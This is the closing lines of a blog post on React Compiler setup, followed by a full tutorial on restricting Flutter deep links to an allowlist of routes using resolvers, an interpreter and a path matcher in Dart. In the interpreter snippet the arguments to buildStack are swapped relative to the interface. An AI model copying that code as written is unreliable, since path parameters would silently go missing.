There is an Online Compiler Playground where you can see the output of the React Compiler generated code and the optimizations it made.

That said, you should try it yourself, follow the React Compiler Docs, install the npm package babel-plugin-react-compiler and enable it in your environment. With Vite, it is as simple as adding the plugin to your “vite.config.js”:

import { defineConfig } from 'vite'
import react from '@vitejs/plugin-react'

export default defineConfig({
  plugins: [
    react({
      babel: {
        plugins: [['babel-plugin-react-compiler']],
      },
    }),
  ],
})

With automatic performance handled by the React Compiler, you’re free to stop worrying about manual memoization and focus entirely on building great application logic, delivering Performance by Default.

React Compiler: How it works and how it changes the way we code in React was originally published in ProFUSION Engineering on Medium, where people are continuing the conversation by highlighting and responding to this story.

This guide assumes you’ve already completed the necessary native setup for deep links on iOS and Android. If you’re still looking for a comprehensive guide on initial configuration, I recommend checking out my previous post:

Deep Links: An iOS and Android Setup Guide

The proposal described on the next sections is designed in such a way that an allowlist of routes could be defined, regardless of the framework or the package used to handle routes in the application, having only the requirements of an entry point of the deeplink (to see the path that was triggered) and the possibility to push custom routes starting from that entry point. To demonstrate the solution, Dart will be used along with the auto_route package. The full source code is available in this GitHub repository.

The proposed implementation

The diagram below illustrates the layers that compose the full solution and the workflow from the trigger of a deep link to the build of the respective route stack. Each part will be described in detail further.

Deep Link Handler

The DeepLinkHandler serves as the application’s entry point for all external deep links. It’s the critical layer responsible for intercepting the incoming URI and orchestrating the entire navigation flow. This mechanism is indeed framework-dependent, but its responsibility is clear: capture the raw URI and trigger the DeepLink workflow. Below is how this entry point is configured when using the auto_route package:

return MaterialApp.router(
    routerConfig: AppRouter().config(
      deepLinkBuilder:(platformDeepLink) {
        // Do something with the received Deep Link
        return interpreter.interpret(platformDeepLink);
      },
    ),
);

Resolvers

The Resolver layer is the heart of our strategy, as it explicitly defines the allowlist of routes that are externally accessible via deep links. Each resolver acts as a dedicated handler for a specific destination.

To ensure uniformity and predictability across all allowed deep links, we establish a contract using an interface. This interface, which we’ll call DeepLinkStackResolver in this example, dictates two core requirements for any allowed route:

• path: The specific path that the resolver will listen for (e.g., /products/:id).
• buildStack(): A function that takes the received deep link parameters (query, path variables) and returns a complete route stack.

Why the buildStack() is crucial: A deep link doesn’t just push one screen; it often needs to construct the entire navigation history beneath the target screen (e.g., Home -> ProductList -> ProductDetail). By returning a stack, we ensure that the user gets the target screen and has proper back-button behavior, regardless of where they launched the app from.

This interface ensures that only classes implementing this contract can participate in the allowlist:

abstract interface class DeepLinkStackResolver {
  String get path;

  List<PageRouteInfo> buildStack(Map<String, String> queryParams, Map<String, String> pathParams);
}

Then, for each route that we want to include in our allowlist, we should implement this interface and fill it with the respective information. The code snippet below shows the implementations to reach the application home and the product list page:

class ProductsStackResolver implements DeepLinkStackResolver{
  @override
  String get path => '/products/:id';

  @override
  List<PageRouteInfo> buildStack(Map<String, String> queryParams, Map<String, String> pathParams) {
    return [
        HomeRoute(),
        ProductsRoute(),
        ProductDetailsRoute(id: pathParams['id'] ?? ''),
      ];
  }
}

class HomeStackResolver implements DeepLinkStackResolver {
  @override
  String get path => '/';

  @override
  List<PageRouteInfo> buildStack(Map<String, String> queryParams, Map<String, String> pathParams) {
    return [HomeRoute()];
  }
}

Once you define all the routes that you want to support, create a list containing these resolvers to be used as input on the previous layer, the Interpreter.

Interpreter

The DeepLinkInterpreter is the core of the solution and the class responsible for establishing the bridge between the raw incoming deep link path and the validated internal route structure. It acts as the final decision-maker for navigation. Its primary responsibility is to:

1. Receive: Get the incoming deep link path from the DeepLinkHandler.

2. Iterate and Validate: Loop through the list of registered Resolvers (the allowlist). For each resolver, it attempts to match the incoming path against the resolver’s defined path pattern (as will be detailed in the next section).

3. Translate or Fallback:

• If a match is found, the interpreter delegates to the matching Resolver’s buildStack() function.
• If no resolver matches the path, it returns a defined fallback route (e.g., the app’s home screen), effectively blocking access to an unlisted path.

The interpreter’s final output will be the route stack (a list of internal routes) ready to be consumed and pushed by your application’s routing framework. This ensures that only paths explicitly defined in your Resolvers can successfully navigate the user.

class DeepLinkInterpreter {
  DeepLinkInterpreter({required List<DeepLinkStackResolver> resolvers}) :
    _resolvers = resolvers;

 final List<DeepLinkStackResolver> _resolvers;

  DeepLink interpret(PlatformDeepLink deeplink) {
    // Extract the queryParams
    final queryParams = deeplink.uri.queryParameters;
    // Retrieve the path without queryParams
    final path = deeplink.path;
    
    // Iterates through the resolvers list looking for a match
    for (final resolver in _resolvers) {
      final (isRouteMatched, pathParams) = PathMatcher.verifyMatch(resolver.path, path);
      if (isRouteMatched) {
        // If a match is found, build the route stack and return to push it!
        final stack = resolver.buildStack(pathParams, queryParams);
        return DeepLink(stack);
      }
    }

    return DeepLink([const UnknownRoute()]);
  }
}

PathMatcher

The PathMatcher is the utility layer that powers the validation logic within the DeepLinkInterpreter. Its core responsibility is to determine if an incoming deep link URI successfully matches the pattern defined by a specific Resolver.

To correctly build the route stack, the target screen needs the data encoded in the deep link (e.g., the product ID, a search term). The PathMatcher is the ideal place to retrieve this, as it must already iterate through the path to perform the comparison. It extracts these path variables (pathParams) and returns them to the Resolver.

Below is an example of how to implement this validator using the Dart language:

class PathMatcher {
  static (bool, Map<String, String>) verifyMatch(String resolverPath, String currentPath) {
    // Base validation.
    if (resolverPath == currentPath) {
      return (true, {});
    }

    // Splits both the currentPath and the path that we want to verify the match
    final resolverPathSplits = resolverPath.split('/');
    final currentPathSplits = currentPath.split('/');
    
    // If the splits are not equal, the path is not matched
    if (resolverPathSplits.length != currentPathSplits.length) {
      return (false, {});
    }

    final params = <String, String>{};
    
    // Iterate through the splits of resolver to extract pathParams and verify
    // equality when is not a pathParam.
    for (var i = 0; i < resolverPathSplits.length;i++) {
      final resolverPart = resolverPathSplits[i];
      final currentPart = currentPathSplits[i];

      if (resolverPart.startsWith(':')) {
        if (currentPart.isEmpty) {
          return (false, {});
        }

        params[resolverPart.substring(1)] = currentPart;
      } else if (resolverPart != currentPart) {
        return (false, {});
      }
    }
    // If the for loop doesn't fail, we got the match and the pathParams!
    return (true, params);
  }
}

Note: It’s nice to review the framework/package documentation before implementing it, because it’s possible that a native function to do that already exists.

Framework Navigation

This is the last step in our deep link workflow. At this point, we already have the route stack that corresponds to the given path (or the fallback if no Resolver was found). This layer is very Framework/Package specific, but the responsibilities are:

• Convert the abstract navigation stack from the interpreter into actual navigation operations on the platform.
• Ensure the previous stack is cleared or reset safely before applying the new stack (important if the app was already open).

Portability and Best Practices: Tips for Other Frameworks
The power of this allowlist strategy relies on the possibility of implementing it using other libraries. When porting this architecture to another framework (like React Native, GoRouter, or another platform’s router), focus on these key implementation tips:

1. Framework Compatibility

The single most critical requirement for this approach is the ability to handle a navigational hierarchy. So, before beginning the port, verify whether your framework supports pushing a list of routes (a route stack) programmatically.

2. Maintainability and Testability

Architectural decisions should always prioritize long-term maintenance:

• Use Dependency Injection: Define the allowlist of Resolvers externally and inject it into the DeepLinkInterpreter. This would make it trivial to swap the list for testing and ensure the interpreter is easy to maintain.
• Keep Code Simple: Design your DeepLinkHandler, DeepLinkInterpreter, and PathMatcher with a single responsibility. Avoid mixing UI logic with deep link parsing logic to keep the code base clean and adaptable.

3. Write Unit Tests

Since the Interpreter and PathMatcher contain the core validation and parameter extraction logic, it’s essential to unit test them.

Conclusion

The architecture presented minimizes the problem of overexposure in deep linking. By enforcing a strict allowlist, this strategy gives you control over your application’s external access points, resulting in a secure and predictable navigation experience.

Beyond security, this segmented approach offers architectural advantages. Because the layers of the interpretation process are isolated and mockable, the entire system is inherently easy to unit test and portable. Adapting this solution to new routing frameworks requires only a minimal, thin adaptation in the first and last layer to handle the final navigation operation.

Defining Deep Links in a structured way was originally published in ProFUSION Engineering on Medium, where people are continuing the conversation by highlighting and responding to this story.